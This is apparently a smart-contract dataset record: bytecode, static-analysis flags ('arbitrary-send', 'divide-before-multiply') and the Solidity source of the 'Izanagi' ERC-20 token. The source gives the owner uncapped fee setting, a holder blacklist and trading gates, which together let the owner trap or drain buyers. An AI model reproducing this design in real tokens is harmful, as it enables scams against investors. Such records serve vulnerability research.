5b61022d6102ec366004610cd8565b6105a5565b3480156102fd57600080fd5b5061022d61030c366004610c82565b610768565b34801561031d57600080fd5b50600a546101ca906001600160a01b031681565b60606002805461034090610d1a565b80601f016020809104026020016040519081016040528092919081815260200182805461036c90610d1a565b80156103b95780601f1061038e576101008083540402835291602001916103b9565b820191906000526020600020905b81548152906001019060200180831161039c57829003601f168201915b5050505050905090565b60006103d0338484610833565b9392505050565b600080821161043f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084015b60405180910390fd5b61044a848484610913565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161048f91815260200190565b60405180910390a36001600160a01b0384166000908152600560209081526040808320338085529252909120546104d29186916104cd908690610d6b565b610833565b949350505050565b6000546001600160a01b031633146105345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610436565b61053e6000610b5b565b565b60606003805461034090610d1a565b600061055c338484610913565b6040518281526001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350600192915050565b6040805160028082526060820183526000926020830190803683375050600a54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561060f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106339190610d82565b8160008151811061064657610646610d9f565b60200260200101906001600160a01b031690816001600160a01b031681525050828160018151811061067a5761067a610d9f565b6001600160a01b0390921660209283029190910190910152600061069e8534610db5565b905060005b8581101561072957600a5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de959084906106e49060009088908a904290600401610dd7565b6000604051808303818588803b1580156106fd57600080fd5b505af1158015610711573d6000803e3d6000fd5b5050505050808061072190610e41565b9150506106a3565b5047801561076057604051339082156108fc029083906000818181858888f1935050505015801561075e573d6000803e3d6000fd5b505b505050505050565b6000546001600160a01b031633146107c25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610436565b6001600160a01b0381166108275760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610436565b61083081610b5b565b50565b60006001600160a01b0384161580159061085557506001600160a01b03831615155b6108ad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610436565b6001600160a01b0384811660008181526005602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6000600c60018154811061092957610929610d9f565b60009182526020808320909101546009546001546001600160a01b03898116808752600e90955260409095205492851695509316909114919015801561098657506001600160a01b0386166000908152600d602052604090205415155b8015610990575081155b156109c3576001600160a01b0386166000908152600e6020526040812080548392906109bd908490610d6b565b90915550505b84600c6001815481106109d8576109d8610d9f565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559188168152600e909152604090205415801590610a1b575083155b15610a4e576001600160a01b0385166000908152600e602052604081208054839290610a48908490610e5c565b90915550505b6001600160a01b0383166000908152600d602052604081208054839290610a76908490610e5c565b9091555050600154600090610a8c606487610db5565b610a969190610e74565b9050610aa28186610d6b565b6001600160a01b038816600090815260066020526040812080549297508392909190610acf908490610d6b565b90915550503060009081526006602052604081208054839290610af3908490610e5c565b90915550506001600160a01b03871660009081526006602052604081208054879290610b20908490610d6b565b90915550506001600160a01b03861660009081526006602052604081208054879290610b4d908490610e5c565b909155505050505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610bd857858101830151858201604001528201610bbc565b81811115610bea576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461083057600080fd5b60008060408385031215610c2857600080fd5b8235610c3381610c00565b946020939093013593505050565b600080600060608486031215610c5657600080fd5b8335610c6181610c00565b92506020840135610c7181610c00565b929592945050506040919091013590565b600060208284031215610c9457600080fd5b81356103d081610c00565b60008060408385031215610cb257600080fd5b8235610cbd81610c00565b91506020830135610ccd81610c00565b809150509250929050565b600080600060608486031215610ced57600080fd5b833592506020840135610cff81610c00565b91506040840135610d0f81610c00565b809150509250925092565b600181811c90821680610d2e57607f821691505b60208210811415610d4f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d7d57610d7d610d55565b500390565b600060208284031215610d9457600080fd5b81516103d081610c00565b634e487b7160e01b600052603260045260246000fd5b600082610dd257634e487b7160e01b600052601260045260246000fd5b500490565b600060808201868352602060808185015281875180845260a086019150828901935060005b81811015610e215784516001600160a01b031683529383019391830191600101610dfc565b50506001600160a01b039690961660408501525050506060015292915050565b6000600019821415610e5557610e55610d55565b5060010190565b60008219821115610e6f57610e6f610d55565b500190565b6000816000190483118215151615610e8e57610e8e610d55565b50029056fea264697066735822122048429169cf64bed34e0be64056d008c36496c7561dc75887c4513998b97a610964736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,672 |
0x8e942a1d3D0eec66b6951EE80E8Ebb095a1C62F8
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Izanagi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Izanagi";
string private constant _symbol = "NAGI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 7;
uint256 private _taxFeeOnSell = 18 ;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x5479b9E8aD7224a150e4F050dA45793274dd1ADf);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 300000000000000 * 10**9; //1
uint256 public _maxWalletSize = 600000000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 30000000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612b88565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c9190612fd1565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612b4c565b61086d565b6040516102599190612f9b565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190612fb6565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af91906131b3565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612ac1565b6108c3565b6040516102ec9190612f9b565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612b10565b61099c565b005b34801561032a57600080fd5b50610333610b1f565b60405161034091906131b3565b60405180910390f35b34801561035557600080fd5b5061035e610b25565b60405161036b9190613228565b60405180910390f35b34801561038057600080fd5b50610389610b2e565b6040516103969190612f80565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612a33565b610b54565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612bc9565b610c44565b005b3480156103fd57600080fd5b50610406610cf6565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612a33565b610d68565b60405161043c91906131b3565b60405180910390f35b34801561045157600080fd5b5061045a610db9565b005b34801561046857600080fd5b50610483600480360381019061047e9190612bf2565b610f0c565b005b34801561049157600080fd5b5061049a610fab565b6040516104a791906131b3565b60405180910390f35b3480156104bc57600080fd5b506104c5610fb1565b6040516104d29190612f80565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612bc9565b610fda565b005b34801561051057600080fd5b5061051961108c565b60405161052691906131b3565b60405180910390f35b34801561053b57600080fd5b50610544611092565b6040516105519190612fd1565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612bf2565b6110cf565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612c1b565b61116e565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612b4c565b611225565b6040516105e09190612f9b565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612a33565b611243565b60405161061d9190612f9b565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612a33565b611263565b60405161065a9190612f9b565b60405180910390f35b34801561066f57600080fd5b50610678611283565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612a85565b6112fd565b6040516106ae91906131b3565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612bf2565b611384565b005b6106e8611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613113565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610824906134ed565b915050610778565b5050565b60606040518060400160405280600781526020017f497a616e61676900000000000000000000000000000000000000000000000000815250905090565b600061088161087a611423565b848461142b565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069d3c21bcecceda1000000905090565b60006108d08484846115f6565b610991846108dc611423565b61098c856040518060600160405280602881526020016139d460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610942611423565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de69092919063ffffffff16565b61142b565b600190509392505050565b6109a4611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890613113565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb906130d3565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090613113565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090613113565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37611423565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d6581611e4a565b50565b6000610db2600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb6565b9050919050565b610dc1611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4590613113565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f14611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890613113565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610fe2611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106690613113565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4e41474900000000000000000000000000000000000000000000000000000000815250905090565b6110d7611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90613113565b60405180910390fd5b8060188190555050565b611176611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611203576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fa90613113565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000611239611232611423565b84846115f6565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112c4611423565b73ffffffffffffffffffffffffffffffffffffffff16146112e457600080fd5b60006112ef30610d68565b90506112fa81611f24565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61138c611423565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141090613113565b60405180910390fd5b8060178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290613193565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150290613073565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e991906131b3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90613153565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd90612ff3565b60405180910390fd5b60008111611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090613133565b60405180910390fd5b611721610fb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178f575061175f610fb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae557601560149054906101000a900460ff1661183557601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182b90613013565b60405180910390fd5b5b60165481111561187a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187190613053565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561191e5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613093565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a0a57601754816119bf84610d68565b6119c991906132e9565b10611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090613173565b60405180910390fd5b5b6000611a1530610d68565b9050600060185482101590506016548210611a305760165491505b808015611a48575060158054906101000a900460ff16155b8015611aa25750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611aba5750601560169054906101000a900460ff165b15611ae257611ac882611f24565b60004790506000811115611ae057611adf47611e